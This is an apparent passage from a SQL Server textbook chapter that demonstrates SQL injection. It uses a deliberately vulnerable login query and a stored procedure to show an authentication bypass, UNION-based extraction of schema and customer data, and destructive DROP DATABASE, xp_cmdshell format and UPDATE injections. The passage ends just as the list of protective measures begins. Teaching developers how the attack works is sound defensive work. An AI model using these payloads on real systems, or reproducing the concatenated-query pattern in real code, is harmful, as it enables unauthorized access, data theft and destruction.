Suppose that you provide a login screen in your client Visual Basic application that is designed to collect a username and password in two input text boxes (call them InputUserName and InputPass). You construct a query that verifies this information against a Users table, which you have in your database to determine whether to allow or reject the login attempt. Run the code in Example 4-11 to create the Users table and populate it with two sample users.

USE tempdb;
GO

IF OBJECT_ID('dbo.Users') IS NOT NULL
  DROP TABLE Users;
GO

CREATE TABLE dbo.Users
(
  username VARCHAR(30) NOT NULL PRIMARY KEY,
  pass     VARCHAR(16) NOT NULL
);

INSERT INTO Users(username, pass) VALUES('user1', '123'),
INSERT INTO Users(username, pass) VALUES('user2', '456'),

Suppose that you’re using the following Visual Basic code at the client application to construct a query and verify the user credentials:

sql = "SELECT COUNT(*) AS cnt FROM dbo.Users WHERE username = '" _
  & InputUserName & "' AND pass = '" & InputPass & "';"

Suppose that user1 enters the following information in the input boxes:

InputUserName = "user1"
InputPass     = "123"

Your code constructs the following query, and executing it returns a count of 1:

SELECT COUNT(*) AS cnt FROM dbo.Users WHERE username = 'user1' AND pass = '123';

Your code checks whether the count is greater than 0. If it is, as is the case here, you allow the user to log in, and if it is 0, you reject the login attempt. A hacker versed in SQL injection will very likely try to enter the following inputs:

InputUserName = "' OR 1 = 1 --"
InputPass = ""

Your Visual Basic code then constructs the following query:

SELECT COUNT(*) AS cnt FROM dbo.Users WHERE username = '' OR 1 = 1 --' AND pass = '';

The trick here is that the hacker closed the quote you opened in front of the user name, added the expression 1=1, which will become part of the filter expression, and then added the two dashes (--) to make the rest of the original code, which is now invalid SQL, into a comment so that it won’t generate an error. This query will always return a count greater than 0, thereby allowing the hacker to log in without having the right credentials. Note that if you use a member of the sysadmin role or another privileged user to connect to SQL Server and invoke this query, a hacker will be able to create havoc and mayhem in your system. In addition to gaining the ability to log in, a hacker can inject additional code beyond the original query–for example, ″′ OR 1 = 1 DROP DATABASE <db_name> --″ or ″′ OR 1 = 1 EXEC master.dbo.xp_cmdshell ″format d:″ --″.

Note

Note that in SQL Server 2005 xp_cmdshell is disabled by default for security reasons. If you enable it, bear in mind that you increase SQL Server’s attackable surface area.

This section will introduce an example for a SQL injection attack that exploits code constructed dynamically at the server. Consider the very common technique of passing SQL Server a dynamic list of arguments using a single input string with a comma-separated list of values. For example, the following stored procedure accepts such an input array with order IDs called @orders, and it returns the OrderID (integer) and CustomerID (character) for matching orders:

USE Northwind;
GO

IF OBJECT_ID('dbo.usp_getorders') IS NOT NULL
  DROP PROC dbo.usp_getorders;
GO

CREATE PROC dbo.usp_getorders
  @orders AS VARCHAR(1000)
AS

DECLARE @sql AS NVARCHAR(4000);

SET @sql = 'SELECT OrderID, CustomerID FROM dbo.Orders WHERE OrderID IN('
  + @orders + '),';

EXEC sp_executesql @sql;
GO

The procedure constructs the query string dynamically, concatenating the input array of orders in the parentheses of the IN predicate. The user enters a string with a list of orders and gets back the OrderID and CustomerID of the input orders. For example, the following code returns the output shown in Table 4-9:

EXEC dbo.usp_getorders '10248,10249,10250';

A hacker will know how to communicate with SQL Server by testing various code strings to check whether you constructed the code dynamically. If the code wasn’t developed with security in mind, the application probably doesn’t hide error messages generated by SQL Server from the user. By default, such error messages will simply show up in the browser. Imagine that you’re the hacker. You will first test whether the code is constructed dynamically by specifying two dashes in the input box. Here is the stored procedure call that is submitted by the client to SQL Server:

EXEC dbo.usp_getorders ' --';

And here is the code that is executed by the stored procedure at the server:

SELECT OrderID, CustomerID FROM dbo.Orders WHERE OrderID IN( --);

You get the following error message:

Msg 102, Level 15, State 1, Line 1
Incorrect syntax near '('.

The error tells you that there’s unclosed parentheses, meaning that there’s dynamic code that concatenates the input after an opening parenthesis. That’s actually what you (the hacker) wanted to see, and at this point you already know that the server is yours.

Next you want to examine the format of the output of the stored procedure, so you specify ′-1) --′ as the input. Here’s the code that is executed by the stored procedure:

SELECT OrderID, CustomerID FROM dbo.Orders WHERE OrderID IN(-1) --);

You get an empty set back:

OrderID     CustomerID
----------- ----------

but you can see that the output contains an integer column and a character one. Now you use a UNION ALL operator to return table information from the database instead of order information, as shown in the following code:

EXEC dbo.usp_getorders '-1) UNION ALL SELECT id, name FROM sysobjects --';

The stored procedure will execute the following code:

SELECT OrderID, CustomerID FROM dbo.Orders WHERE OrderID IN(-1)
UNION ALL SELECT id, name FROM sysobjects --);

It is important to look at this code to realize how easy it is for a hacker to obtain information from your database that you did not intend to expose. For example, running this code in the Northwind database produces the output (abbreviated) shown in Table 4-10.

Suppose that you’re interested in customer information. You have the object ID of the Customers table, so now you use UNION ALL to return column information by using the following code:

EXEC dbo.usp_getorders '-1) UNION ALL
SELECT colorder, name FROM syscolumns WHERE id = 21575115 --';

The following code is executed at the server, generating the output shown in Table 4-11:

SELECT OrderID, CustomerID FROM dbo.Orders WHERE OrderID IN(-1) UNION ALL
SELECT colorder, name FROM syscolumns WHERE id = 21575115 --);

Now that you have the full column list from the Customers table, you use the following code to request customer data by specifying a placeholder under the integer column and concatenate the customer attributes you need under the character column:

EXEC dbo.usp_getorders '-1) UNION ALL SELECT 1, CustomerID + '';'' +
CompanyName + '';'' + Phone FROM dbo.Customers --';

The following code is executed at the server, generating the output shown in Table 4-12:

SELECT OrderID, CustomerID FROM dbo.Orders WHERE OrderID IN(-1)
UNION ALL SELECT 1, CustomerID + ';' + CompanyName + ';' + Phone FROM dbo.Customers --);

Imagine, you get customer IDs, company names, and phone numbers, and you could request more information!

Now the real "fun" begins as you inject changes and destructive commands–for example, suppose you supplied this parameter to the procedure: ′-1) UPDATE dbo.Customers SET Phone = ″9999999″ WHERE CustomerID = ″ALFKI″--′. The code that would run behind the scenes looks like this (don’t run it):

SELECT OrderID, CustomerID FROM dbo.Orders WHERE OrderID
IN(-1) UPDATE dbo.Customers SET Phone = '9999999' WHERE CustomerID = 'ALFKI' --);

To experiment and observe which code strings the stored procedure generates based on various inputs, use a version with a PRINT @sql command instead of EXEC sp_executesql @sql.

Following are examples for measures you can take to provide some level of protection (though not complete) for your environment against SQL injection attacks: